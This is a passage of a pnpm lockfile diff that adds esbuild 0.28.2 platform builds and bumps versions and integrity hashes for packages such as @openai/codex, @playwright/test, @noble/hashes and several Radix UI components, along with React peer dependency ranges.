     engines: {node: '>=12'}
@@ -1922,6 +1919,12 @@ packages:
     cpu: [arm]
     os: [android]
 
+  '@esbuild/android-arm@0.28.2':
+    resolution: {integrity: sha512-kXXoiPVVGQcnIYGOeaovwOURpniDBpSq4A03qkQ+BMQqtGG6HYap3xne9C1O1yo4TR3qxlCX5IqqmX6fFo2Lqg==}
+    engines: {node: '>=18'}
+    cpu: [arm]
+    os: [android]
+
   '@esbuild/android-x64@0.18.20':
     resolution: {integrity: sha512-8GDdlePJA8D6zlZYJV/jnrRAi6rOiNaCC/JclcXpB+KIuvfBN4owLtgzY2bsxnx666XjJx2kDPUmnTtR8qKQUg==}
     engines: {node: '>=12'}
@@ -1946,6 +1949,12 @@ packages:
     cpu: [x64]
     os: [android]
 
+  '@esbuild/android-x64@0.28.2':
+    resolution: {integrity: sha512-O387ite7SzUyCcy3JQX4P4bLtEA7bLLkx+esve5JHnyYfNTxcVpXZo9jhdB0lTKN44gztELTdU7nS8Nr16Fs1Q==}
+    engines: {node: '>=18'}
+    cpu: [x64]
+    os: [android]
+
   '@esbuild/darwin-arm64@0.18.20':
     resolution: {integrity: sha512-bxRHW5kHU38zS2lPTPOyuyTm+S+eobPUnTNkdJEfAddYgEcll4xkT8DB9d2008DtTbl7uJag2HuE5NZAZgnNEA==}
     engines: {node: '>=12'}
@@ -1970,6 +1979,12 @@ packages:
     cpu: [arm64]
     os: [darwin]
 
+  '@esbuild/darwin-arm64@0.28.2':
+    resolution: {integrity: sha512-n4KqkOQrraxHJcgjM1RvwbigfQKIKJVpM7xp+KsxiyUSrRdIXnt73VhrPAx0fV44hgfmIVKjxMN9J1t5jySVkw==}
+    engines: {node: '>=18'}
+    cpu: [arm64]
+    os: [darwin]
+
   '@esbuild/darwin-x64@0.18.20':
     resolution: {integrity: sha512-pc5gxlMDxzm513qPGbCbDukOdsGtKhfxD1zJKXjCCcU7ju50O7MeAZ8c4krSJcOIJGFR+qx21yMMVYwiQvyTyQ==}
     engines: {node: '>=12'}
@@ -1994,6 +2009,12 @@ packages:
     cpu: [x64]
     os: [darwin]
 
+  '@esbuild/darwin-x64@0.28.2':
+    resolution: {integrity: sha512-uq6suIWYP37qzGddBKPw5QEQPi6HiLGsO7UmkpfyaYNQ3D+rN6w6WfwH+nuqcGXWvawGwxOEroO4YGnFh95azw==}
+    engines: {node: '>=18'}
+    cpu: [x64]
+    os: [darwin]
+
   '@esbuild/freebsd-arm64@0.18.20':
     resolution: {integrity: sha512-yqDQHy4QHevpMAaxhhIwYPMv1NECwOvIpGCZkECn8w2WFHXjEwrBn3CeNIYsibZ/iZEUemj++M26W3cNR5h+Tw==}
     engines: {node: '>=12'}
@@ -2018,6 +2039,12 @@ packages:
     cpu: [arm64]
     os: [freebsd]
 
+  '@esbuild/freebsd-arm64@0.28.2':
+    resolution: {integrity: sha512-n+I0BTSRIoy+d6RPKnEVwql5UwBJolytvY4mAOIEJorKlqgPII8ix6slVVrfZ5Tnj7glIZvloylbB/EJPMWEXw==}
+    engines: {node: '>=18'}
+    cpu: [arm64]
+    os: [freebsd]
+
   '@esbuild/freebsd-x64@0.18.20':
     resolution: {integrity: sha512-tgWRPPuQsd3RmBZwarGVHZQvtzfEBOreNuxEMKFcd5DaDn2PbBxfwLcj4+aenoh7ctXcbXmOQIn8HI6mCSw5MQ==}
     engines: {node: '>=12'}
@@ -2042,6 +2069,12 @@ packages:
     cpu: [x64]
     os: [freebsd]
 
+  '@esbuild/freebsd-x64@0.28.2':
+    resolution: {integrity: sha512-78XJTJkvPs0kz2w61301PJjXl4g7q3JqiYMZ/M/yVI73EHBrCRTgkhu9oqG7vPqq+a/yadEW8aD+agKlk5xrmg==}
+    engines: {node: '>=18'}
+    cpu: [x64]
+    os: [freebsd]
+
   '@esbuild/linux-arm64@0.18.20':
     resolution: {integrity: sha512-2YbscF+UL7SQAVIpnWvYwM+3LskyDmPhe31pE7/aoTMFKKzIc9lLbyGUpmmb8a8AixOL61sQ/mFh3jEjHYFvdA==}
     engines: {node: '>=12'}
@@ -2066,6 +2099,12 @@ packages:
     cpu: [arm64]
     os: [linux]
 
+  '@esbuild/linux-arm64@0.28.2':
+    resolution: {integrity: sha512-pW4AC0P3it8c7do9MVM4p51FzHzdM/TZrerurgRcHJ2WTa1VQ1CIq18xncfpBJw4ojkiZZrKW2yIBWBP92j6Ug==}
+    engines: {node: '>=18'}
+    cpu: [arm64]
+    os: [linux]
+
   '@esbuild/linux-arm@0.18.20':
     resolution: {integrity: sha512-/5bHkMWnq1EgKr1V+Ybz3s1hWXok7mDFUMQ4cG10AfW3wL02PSZi5kFpYKrptDsgb2WAJIvRcDm+qIvXf/apvg==}
     engines: {node: '>=12'}
@@ -2090,6 +2129,12 @@ packages:
     cpu: [arm]
     os: [linux]
 
+  '@esbuild/linux-arm@0.28.2':
+    resolution: {integrity: sha512-XlDnu2q5yoqems+xay6wSAcg9DDD7K9RLKZEBOMZm3ckNpJBvOX20tSfby8KfrrhINDyv9V2YVZKY/SpoGJI8w==}
+    engines: {node: '>=18'}
+    cpu: [arm]
+    os: [linux]
+
   '@esbuild/linux-ia32@0.18.20':
     resolution: {integrity: sha512-P4etWwq6IsReT0E1KHU40bOnzMHoH73aXp96Fs8TIT6z9Hu8G6+0SHSw9i2isWrD2nbx2qo5yUqACgdfVGx7TA==}
     engines: {node: '>=12'}
@@ -2114,6 +2159,12 @@ packages:
     cpu: [ia32]
     os: [linux]
 
+  '@esbuild/linux-ia32@0.28.2':
+    resolution: {integrity: sha512-CYbnj78HsIeA+DhgUKgFCfvNsTHFhMMrinUrMZpDXJXKN8T3XViTZ/+wtHeVxEWY8ewSzTFN+nRmSwO2tZaLUQ==}
+    engines: {node: '>=18'}
+    cpu: [ia32]
+    os: [linux]
+
   '@esbuild/linux-loong64@0.18.20':
     resolution: {integrity: sha512-nXW8nqBTrOpDLPgPY9uV+/1DjxoQ7DoB2N8eocyq8I9XuqJ7BiAMDMf9n1xZM9TgW0J8zrquIb/A7s3BJv7rjg==}
     engines: {node: '>=12'}
@@ -2138,6 +2189,12 @@ packages:
     cpu: [loong64]
     os: [linux]
 
+  '@esbuild/linux-loong64@0.28.2':
+    resolution: {integrity: sha512-buwkd8nsph4R+ajRvw0qM5Hja/TXQow3ptzWO2EbG/cqcIkHloRrdlBtQlshyYGTNFvfkfJ5tpPLVkY4DtsPfQ==}
+    engines: {node: '>=18'}
+    cpu: [loong64]
+    os: [linux]
+
   '@esbuild/linux-mips64el@0.18.20':
     resolution: {integrity: sha512-d5NeaXZcHp8PzYy5VnXV3VSd2D328Zb+9dEq5HE6bw6+N86JVPExrA6O68OPwobntbNJ0pzCpUFZTo3w0GyetQ==}
     engines: {node: '>=12'}
@@ -2162,6 +2219,12 @@ packages:
     cpu: [mips64el]
     os: [linux]
 
+  '@esbuild/linux-mips64el@0.28.2':
+    resolution: {integrity: sha512-ZVykbDyk7519VwiNb9Lcj9m8XM6v5V9uKPvrEMkkEedVewf+0itkhahp4HDpgERXhwLRpWFypsGbG/J8s0QjJA==}
+    engines: {node: '>=18'}
+    cpu: [mips64el]
+    os: [linux]
+
   '@esbuild/linux-ppc64@0.18.20':
     resolution: {integrity: sha512-WHPyeScRNcmANnLQkq6AfyXRFr5D6N2sKgkFo2FqguP44Nw2eyDlbTdZwd9GYk98DZG9QItIiTlFLHJHjxP3FA==}
     engines: {node: '>=12'}
@@ -2186,6 +2249,12 @@ packages:
     cpu: [ppc64]
     os: [linux]
 
+  '@esbuild/linux-ppc64@0.28.2':
+    resolution: {integrity: sha512-CAXl+Dtd9UUuJd8pKKdwh6MLm3MUMiqMPmhZ3tTSXPqfyQ3vDl6R5hZdZ/kYojK4ofXtdfSv1tFq8XzWx3heNQ==}
+    engines: {node: '>=18'}
+    cpu: [ppc64]
+    os: [linux]
+
   '@esbuild/linux-riscv64@0.18.20':
     resolution: {integrity: sha512-WSxo6h5ecI5XH34KC7w5veNnKkju3zBRLEQNY7mv5mtBmrP/MjNBCAlsM2u5hDBlS3NGcTQpoBvRzqBcRtpq1A==}
     engines: {node: '>=12'}
@@ -2210,6 +2279,12 @@ packages:
     cpu: [riscv64]
     os: [linux]
 
+  '@esbuild/linux-riscv64@0.28.2':
+    resolution: {integrity: sha512-GeXCej4IQtU1B+QlDV8W/RRvbzI3O/Stss+/bCXv4lZls5WGRtu2a+3JkA3i4qIUlMXpcHebWpF8AkJhATowuA==}
+    engines: {node: '>=18'}
+    cpu: [riscv64]
+    os: [linux]
+
   '@esbuild/linux-s390x@0.18.20':
     resolution: {integrity: sha512-+8231GMs3mAEth6Ja1iK0a1sQ3ohfcpzpRLH8uuc5/KVDFneH6jtAJLFGafpzpMRO6DzJ6AvXKze9LfFMrIHVQ==}
     engines: {node: '>=12'}
@@ -2234,6 +2309,12 @@ packages:
     cpu: [s390x]
     os: [linux]
 
+  '@esbuild/linux-s390x@0.28.2':
+    resolution: {integrity: sha512-3H1weTYZPxt/WOhByszQZybS9w5lKzUn1FDMsgEChbHWQwHYQQRfBxgCcZvPhjHfKyJjIievvMmEUawJrdY9Dg==}
+    engines: {node: '>=18'}
+    cpu: [s390x]
+    os: [linux]
+
   '@esbuild/linux-x64@0.18.20':
     resolution: {integrity: sha512-UYqiqemphJcNsFEskc73jQ7B9jgwjWrSayxawS6UVFZGWrAAtkzjxSqnoclCXxWtfwLdzU+vTpcNYhpn43uP1w==}
     engines: {node: '>=12'}
@@ -2258,6 +2339,12 @@ packages:
     cpu: [x64]
     os: [linux]
 
+  '@esbuild/linux-x64@0.28.2':
+    resolution: {integrity: sha512-4xTZr1FUmSoQW4XIWmit3tzQrUTZM+N3P0XV8xROKYF50XfI7xeO90+1bZvNwxIufQ9hDQVRJH5YhgPVF8A/HQ==}
+    engines: {node: '>=18'}
+    cpu: [x64]
+    os: [linux]
+
   '@esbuild/netbsd-arm64@0.25.12':
     resolution: {integrity: sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==}
     engines: {node: '>=18'}
@@ -2276,6 +2363,12 @@ packages:
     cpu: [arm64]
     os: [netbsd]
 
+  '@esbuild/netbsd-arm64@0.28.2':
+    resolution: {integrity: sha512-sSATRjPeDBg3pdgHoQfoYBob11Kk1FGa9lui5RIHZCoCkJa9QKlvl3/vKz2usCmYYjs7ymJR/2Nnsqe+Hjt5nw==}
+    engines: {node: '>=18'}
+    cpu: [arm64]
+    os: [netbsd]
+
   '@esbuild/netbsd-x64@0.18.20':
     resolution: {integrity: sha512-iO1c++VP6xUBUmltHZoMtCUdPlnPGdBom6IrO4gyKPFFVBKioIImVooR5I83nTew5UOYrk3gIJhbZh8X44y06A==}
     engines: {node: '>=12'}
@@ -2300,6 +2393,12 @@ packages:
     cpu: [x64]
     os: [netbsd]
 
+  '@esbuild/netbsd-x64@0.28.2':
+    resolution: {integrity: sha512-lqnzCV+mM0gIADaKihiCg6ifgfU2L3h5E33rNQBN1Y4MaVGnzryzmvvf7UHxprpQdE8hpqLolJ9Rl+SkIRDpyw==}
+    engines: {node: '>=18'}
+    cpu: [x64]
+    os: [netbsd]
+
   '@esbuild/openbsd-arm64@0.25.12':
     resolution: {integrity: sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==}
     engines: {node: '>=18'}
@@ -2318,6 +2417,12 @@ packages:
     cpu: [arm64]
     os: [openbsd]
 
+  '@esbuild/openbsd-arm64@0.28.2':
+    resolution: {integrity: sha512-AL2qJILH7lNjrDmCQDvdxMfAUIv8KMNZOvrwAQ8i8//ntL9FflhOyMJ8OZSMBb8/AWXe3/5v5S20y3zCoZWKoQ==}
+    engines: {node: '>=18'}
+    cpu: [arm64]
+    os: [openbsd]
+
   '@esbuild/openbsd-x64@0.18.20':
     resolution: {integrity: sha512-e5e4YSsuQfX4cxcygw/UCPIEP6wbIL+se3sxPdCiMbFLBWu0eiZOJ7WoD+ptCLrmjZBK1Wk7I6D/I3NglUGOxg==}
     engines: {node: '>=12'}
@@ -2342,6 +2447,12 @@ packages:
     cpu: [x64]
     os: [openbsd]
 
+  '@esbuild/openbsd-x64@0.28.2':
+    resolution: {integrity: sha512-QtiuPytchRyC4rwUKhexJdQKvDuZ6hWloi3igqPQNUJCS1/v9EiO3UTOXR6A3FoMo4fnAKbWJdqaIwhOzh8qEw==}
+    engines: {node: '>=18'}
+    cpu: [x64]
+    os: [openbsd]
+
   '@esbuild/openharmony-arm64@0.25.12':
     resolution: {integrity: sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==}
     engines: {node: '>=18'}
@@ -2360,6 +2471,12 @@ packages:
     cpu: [arm64]
     os: [openharmony]
 
+  '@esbuild/openharmony-arm64@0.28.2':
+    resolution: {integrity: sha512-WkhYDmpTjLvGlScA1rwjRUmhl4k8oXR3cIbtqWmELgU/dFeHHlEllxDvdWcNJV9rbzCexB5vz8gtNewWLgCT7Q==}
+    engines: {node: '>=18'}
+    cpu: [arm64]
+    os: [openharmony]
+
   '@esbuild/sunos-x64@0.18.20':
     resolution: {integrity: sha512-kDbFRFp0YpTQVVrqUd5FTYmWo45zGaXe0X8E1G/LKFC0v8x0vWrhOWSLITcCn63lmZIxfOMXtCfti/RxN/0wnQ==}
     engines: {node: '>=12'}
@@ -2384,6 +2501,12 @@ packages:
     cpu: [x64]
     os: [sunos]
 
+  '@esbuild/sunos-x64@0.28.2':
+    resolution: {integrity: sha512-GPMSkTOtMnv2U2F8gxe4Io6qmVs+YKyp832Etqqxr0hFngmXQ3rzwytelm3GIn7T4VviRUlf3sOgBOiTdvaf7g==}
+    engines: {node: '>=18'}
+    cpu: [x64]
+    os: [sunos]
+
   '@esbuild/win32-arm64@0.18.20':
     resolution: {integrity: sha512-ddYFR6ItYgoaq4v4JmQQaAI5s7npztfV4Ag6NrhiaW0RrnOXqBkgwZLofVTlq1daVTQNhtI5oieTvkRPfZrePg==}
     engines: {node: '>=12'}
@@ -2408,6 +2531,12 @@ packages:
     cpu: [arm64]
     os: [win32]
 
+  '@esbuild/win32-arm64@0.28.2':
+    resolution: {integrity: sha512-PIhhEkE9uPBleRBrQEJpUn7MBnibZzbGzYWPmY3x+YoVg/95zbjB4CxPPOQ8l5tYYM4mMaCthF8/1DIfBQQyWQ==}
+    engines: {node: '>=18'}
+    cpu: [arm64]
+    os: [win32]
+
   '@esbuild/win32-ia32@0.18.20':
     resolution: {integrity: sha512-Wv7QBi3ID/rROT08SABTS7eV4hX26sVduqDOTe1MvGMjNd3EjOz4b7zeexIR62GTIEKrfJXKL9LFxTYgkyeu7g==}
     engines: {node: '>=12'}
@@ -2432,6 +2561,12 @@ packages:
     cpu: [ia32]
     os: [win32]
 
+  '@esbuild/win32-ia32@0.28.2':
+    resolution: {integrity: sha512-YmJbfTlvU7Sdn9BB+4PRES4oB6pxgS37MAONj+hBr/cpXS1aBPKXxNnDbu+QCWPj0o9dgyxeq79g6c5P8KeuYA==}
+    engines: {node: '>=18'}
+    cpu: [ia32]
+    os: [win32]
+
   '@esbuild/win32-x64@0.18.20':
     resolution: {integrity: sha512-kTdfRcSiDfQca/y9QIkng02avJ+NCaQvrMejlsB3RRv5sE9rRoeBPISaZpKxHELzRxZyLvNts1P27W3wV+8geQ==}
     engines: {node: '>=12'}
@@ -2456,8 +2591,14 @@ packages:
     cpu: [x64]
     os: [win32]
 
-  '@exodus/bytes@1.15.0':
-    resolution: {integrity: sha512-UY0nlA+feH81UGSHv92sLEPLCeZFjXOuHhrIo0HQydScuQc8s0A7kL/UdgwgDq8g8ilksmuoF35YVTNphV2aBQ==}
+  '@esbuild/win32-x64@0.28.2':
+    resolution: {integrity: sha512-5ebpxr3nWMzrL/rnUI755Jkuee0bHL/Gq0WTF9lvcpv73wAp5eu8MfBUgWK9bhWvZjj7yX8etf/8tI8Ney695g==}
+    engines: {node: '>=18'}
+    cpu: [x64]
+    os: [win32]
+
+  '@exodus/bytes@1.15.1':
+    resolution: {integrity: sha512-S6mL0yNB/Abt9Ei4tq8gDhcczc4S3+vQ4ra7vxnAf+YHC02srtqxKKZghx2Dq6p0e66THKwR6r8N6P95wEty7Q==}
     engines: {node: ^20.19.0 || ^22.12.0 || >=24.0.0}
     peerDependencies:
       '@noble/hashes': ^1.8.0 || ^2.0.0
@@ -2478,14 +2619,14 @@ packages:
   '@floating-ui/react-dom@2.1.9':
     resolution: {integrity: sha512-JDjEFGCpImxDCA7JJKviA0M9+RtmJdj0m/NVU5IMgBK+AmZouAQQ7/+2GLH0GXXY0YMw9oXPB8hKdbPYg5QLYg==}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
 
   '@floating-ui/react@0.27.19':
     resolution: {integrity: sha512-31B8h5mm8YxotlE7/AU/PhNAl8eWxAmjL/v2QOxroDNkTFLk3Uu82u63N3b6TXa4EGJeeZLVcd/9AlNlVqzeog==}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
 
   '@floating-ui/utils@0.2.12':
     resolution: {integrity: sha512-HpCo8tmWzLVad5s2d19EhAz5zqrrQ6s69qd6moPMQvkOuSwDT1YgRfWSVuc4ennqrgv3OHppiOGMQ7oC13yIww==}
@@ -2707,8 +2848,8 @@ packages:
   '@lexical/devtools-core@0.49.0':
     resolution: {integrity: sha512-LgjNlvRiuO/QF36aG6kfR4ptEvSw587o2+YF6SOsaOB7iw2Z3pqpsKloWSEF4QXaLFI65Li8JjMdQj+BaFMIOA==}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
       typescript: '>=5.2'
     peerDependenciesMeta:
       typescript:
@@ -2813,8 +2954,8 @@ packages:
   '@lexical/react@0.49.0':
     resolution: {integrity: sha512-NqXF4i/IBFKVDDLDJYTwmBXE++MQuIrTQs7VTux6IPyDEpyfeFMn1rQTFb949S3f7rs33Rcu1uGtFbODQfS1Iw==}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
       typescript: '>=5.2'
       yjs: '>=13.5.22'
     peerDependenciesMeta:
@@ -2933,21 +3074,21 @@ packages:
     resolution: {integrity: sha512-f++rKLQgUVYDAtECQ6fn/is15GkEH9+nZPM3MS0RcxVqoTfawHvDlSCH7JbMhAM6uJ32v3eXLvLmLvjGu7PTQw==}
     peerDependencies:
       '@types/react': '>=16'
-      react: ^19.2.7
+      react: ^19.2.8
 
   '@mdxeditor/editor@3.55.0':
     resolution: {integrity: sha512-ziJY12OQVrrdAcWAwG8njV7gPy8orEIodGdFTXpQVlIOjdV/FOIHMcETMc5XXfON3hw3uO1CcHDb3TZQQSgfqg==}
     engines: {node: '>=16'}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
 
   '@mdxeditor/gurx@1.2.4':
     resolution: {integrity: sha512-9ZykIFYhKaXaaSPCs1cuI+FvYDegJjbKwmA4ASE/zY+hJY6EYqvoye4esiO85CjhOw9aoD/izD/CU78/egVqmg==}
     engines: {node: '>=16'}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
 
   '@mermaid-js/parser@1.2.0':
     resolution: {integrity: sha512-oYPyv8A4As1yH5Bx+04iQEQxXuIQDe0GKCNSRgao6z8AM9jixXIfP0vsppRLvGf+nKIOb9/LdpWA4YuJiVvESA==}
@@ -2975,16 +3116,16 @@ packages:
       '@emnapi/core': ^2.0.0-alpha.3
       '@emnapi/runtime': ^2.0.0-alpha.3
 
-  '@noble/ciphers@2.2.0':
-    resolution: {integrity: sha512-Z6pjIZ/8IJcCGzb2S/0Px5J81yij85xASuk1teLNeg75bfT07MV3a/O2Mtn1I2se43k3lkVEcFaR10N4cgQcZA==}
+  '@noble/ciphers@2.3.0':
+    resolution: {integrity: sha512-Clu/xdfgVTf9o7ngLOURaxePwR0j8sjclKEtVij10/jGulwFsPWCvvRgG/XjUVf8Nei+jLG6uwyXzUTGY1DQrw==}
     engines: {node: '>= 20.19.0'}
 
   '@noble/hashes@1.8.0':
     resolution: {integrity: sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A==}
     engines: {node: ^14.21.3 || >=16}
 
-  '@noble/hashes@2.2.0':
-    resolution: {integrity: sha512-IYqDGiTXab6FniAgnSdZwgWbomxpy9FtYvLKs7wCUs2a8RkITG+DFGO1DM9cr+E3/RgADRpFjrKVaJ1z6sjtEg==}
+  '@noble/hashes@2.3.0':
+    resolution: {integrity: sha512-oN+QwyX7VSHotibwubG3kpzbwKrfnyR6OOO+3Nk/53ADL7FmgHHz4TgrbaYKvvOw09u6QTx0oiH1cNCIOuN0CQ==}
     engines: {node: '>= 20.19.0'}
 
   '@npmcli/fs@1.1.1':
@@ -2998,43 +3139,43 @@ packages:
   '@open-draft/deferred-promise@2.2.0':
     resolution: {integrity: sha512-CecwLWx3rhxVQF6V4bAgPS5t+So2sTbPgAzafKkVizyi7tlwpcFpdFqq+wqF2OwNBmqFuu6tOyouTuxgpMfzmA==}
 
-  '@openai/codex@0.145.0':
-    resolution: {integrity: sha512-/PSPSFujjjmiyVFvG2yu/grOFhsWdokTH8t2KGWhXSo/M5n/dIDsnbsnO82/7bLtIoDuzQf7ATBUMWqPWQINlQ==}
+  '@openai/codex@0.147.0':
+    resolution: {integrity: sha512-EQLEXecAG2ptxI7UpBMo2TR/ga5596/c/OsYF/0LoUDh5JANZ7IoGqlzBEWbuEVQ76JePIbtTW/ihCkp1a7Z3w==}
     engines: {node: '>=16'}
     hasBin: true
 
-  '@openai/codex@0.145.0-darwin-arm64':
-    resolution: {integrity: sha512-h6aQ0UxnaP8mIM/9/qPAH9MNkRliJo88toq1T36IxNM2L5JSU0TFamu+MZn7YkFgDsrp0RfiI+97Tm8AVVxqtA==}
+  '@openai/codex@0.147.0-darwin-arm64':
+    resolution: {integrity: sha512-BEUVkiOW7kLcRyrMLfAr/h9wF8sRVJyZDy6OHtVn6QGDXiv3BvAZVTY1Pu9xF7KdIdkYXbp4uayN0aDQQaAUJw==}
     engines: {node: '>=16'}
     cpu: [arm64]
     os: [darwin]
 
-  '@openai/codex@0.145.0-darwin-x64':
-    resolution: {integrity: sha512-FCYzVKCa9VoLtg9gVyzKpqylonfgZrfcWZN6HsXAZPeuo8CukdMqdgTUOhDn2V6h3MbqS0z6VqQVKUllN/yKhA==}
+  '@openai/codex@0.147.0-darwin-x64':
+    resolution: {integrity: sha512-Tb8McE5SvJIH0Vs5R6sq7u+quiC931yan2KOOl6km1OdZ82+Wi7eF5XrSFPs5CF7xCgoIK4Vs+byMbT5hN+ZUw==}
     engines: {node: '>=16'}
     cpu: [x64]
     os: [darwin]
 
-  '@openai/codex@0.145.0-linux-arm64':
-    resolution: {integrity: sha512-8OLcPXaAol/FOrRoDxWhIiHIFa73KRsM41EKocjRZOwiT4TcelzJWn3dHyiuSb7teWF25rrslvSPyvhULYRRCQ==}
+  '@openai/codex@0.147.0-linux-arm64':
+    resolution: {integrity: sha512-SLC1JXw2TYfr/c3HhrJubyyLelq7vTOLWVmiThFA+z0+WgzCPmaseJ/kzDD3Gge/TO7fCnnj7UcPmC0d2c8XAg==}
     engines: {node: '>=16'}
     cpu: [arm64]
     os: [linux]
 
-  '@openai/codex@0.145.0-linux-x64':
-    resolution: {integrity: sha512-u8w8LLv3DvsfrDCoswLIemZ0SoNEXyi511WsfFsSiYUazk9qMsB/NtU8N9vhAfN7mZAxLFoMex4v66JjHuZWwA==}
+  '@openai/codex@0.147.0-linux-x64':
+    resolution: {integrity: sha512-0W9MBxPpWW0cSkNqrTDN2jR7rzzT7oNMhQY5446lT2Lw5cz5yhDTck4Va9rjkQEm+HlFzP/dmEMSZbXfJsINmw==}
     engines: {node: '>=16'}
     cpu: [x64]
     os: [linux]
 
-  '@openai/codex@0.145.0-win32-arm64':
-    resolution: {integrity: sha512-sub61rjEFevi1i3Zx7nAd4JM5XxoNFqMqFc5LfTo2xSI8ixHjFvEYDFDXwXOftT04n3Ht1Wh271ioUZpDiEjEg==}
+  '@openai/codex@0.147.0-win32-arm64':
+    resolution: {integrity: sha512-e2ZstJ8zT8Rm1nvR7CUVO+Gr3cTChE41+VfOzGhynzDXEoW0wfbjUQbc2bWbh1arG94LMm4y3dqBtUIbSrfeGA==}
     engines: {node: '>=16'}
     cpu: [arm64]
     os: [win32]
 
-  '@openai/codex@0.145.0-win32-x64':
-    resolution: {integrity: sha512-u0h9lk094CaXRSqE34SBW2dRaQTPa6fASXqehczWH9QdsU62mBsiAgAdp6tCG4i+YzPmmhjD8FdXNnYGNmwuMg==}
+  '@openai/codex@0.147.0-win32-x64':
+    resolution: {integrity: sha512-oT7Ss5fAPf2fiWE9QNURqZcQGAAawSVxmIUdgPzckq4KFZAM+pRz9JbM4Rr498CjtbNgTOjWvDJ+DXvIBSfOPA==}
     engines: {node: '>=16'}
     cpu: [x64]
     os: [win32]
@@ -3270,8 +3411,8 @@ packages:
   '@pierre/diffs@1.2.11':
     resolution: {integrity: sha512-lSkl5C7eb8Zq7Ote0+J5ZdVOlI72r2EU3vW4+06wULSQqkIMP8mkxG70lVj593b1XYlsM2hCvuyt0cKTA96plQ==}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
 
   '@pierre/theme@1.0.3':
     resolution: {integrity: sha512-sWHv11TMoqKxKDgTIk5VbhQjdPhs8DCcBxbjh3mRlS3YOM/OcrWoGX6MM8eBGn9cUu3M46Py0JnxsG2nJaFTuA==}
@@ -3282,8 +3423,8 @@ packages:
     peerDependencies:
       '@pierre/theme': ^1.0.0
       '@shikijs/themes': ^3.0.0 || ^4.0.0
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
       shiki: ^3.0.0 || ^4.0.0
     peerDependenciesMeta:
       '@pierre/theme':
@@ -3304,9 +3445,9 @@ packages:
     resolution: {integrity: sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==}
     engines: {node: '>=14'}
 
-  '@playwright/test@1.61.1':
-    resolution: {integrity: sha512-8nKv6+0RJSL9FE4jYOEGXnPeM/Hg12qZpmqzZjRh3qM0Y7c3z1mrOTfFLids72RDQYVh9WpLEfR5WdpNX4fkig==}
-    engines: {node: '>=18'}
+  '@playwright/test@1.62.1':
+    resolution: {integrity: sha512-DTcUc8qii+cpHvtOwggMtBRMjKZHXYWdw8syRYu2vtzuq4Wxphqq4NfCs5Zt44L6mA8rfDfj+PHnxFc/FeK6mQ==}
+    engines: {node: '>=20'}
     hasBin: true
 
   '@preact/signals-core@1.14.4':
@@ -3318,48 +3459,51 @@ packages:
   '@radix-ui/number@1.1.2':
     resolution: {integrity: sha512-ceTwaxc4I5IOi97DgCotl3pqiyRGvffcc0oOsE2dQYaJOFIDsDt4VWG6xEbg1QePv9QWausCEIppud/tJ1wNig==}
 
+  '@radix-ui/number@1.1.3':
+    resolution: {integrity: sha512-Road2bidD0uu/1BGDOWNdPI06g0lIRy6IF9GZcIrDK2KGItfor8IQwQa+yM2ERgHM1MmHxaxpTzk0/Jp42lNfA==}
+
   '@radix-ui/primitive@1.1.3':
     resolution: {integrity: sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==}
 
   '@radix-ui/primitive@1.1.4':
     resolution: {integrity: sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ==}
 
-  '@radix-ui/primitive@1.1.6':
-    resolution: {integrity: sha512-w9hl+724uYEgCGR3bhuRepjBtrNB/6gkhCnAf58Ke+SLbHPPQqVZZB59z60roB+5H+nh3nWTcdJhQdFMEydWmw==}
+  '@radix-ui/primitive@1.1.7':
+    resolution: {integrity: sha512-rqWnm76nYT8HoNNqEjpgJ7Pw/DrBj5iBTrmEPo6HTX5+VJyBNOqTdv4g89G63HuR5g0AaENoAcH7Is5fF2kZ8Q==}
 
-  '@radix-ui/react-accessible-icon@1.1.12':
-    resolution: {integrity: sha512-Y0zhCQ/XUdTom5hAxvE8RlXqR4hZmKGK6g2//LfgHmb88PJFOpXSh9B/7FlfYXezVY5FKGjRYWCYz5FXxZ9WZQ==}
+  '@radix-ui/react-accessible-icon@1.1.15':
+    resolution: {integrity: sha512-WTQwcAvQf5sOcuUyi90lKPbhwcvQ+j55cjrSmeaN+L2vKU3DooOvlKw2MDeiJ5IkV5N905KW0/fGojKOBhD11A==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-accordion@1.2.17':
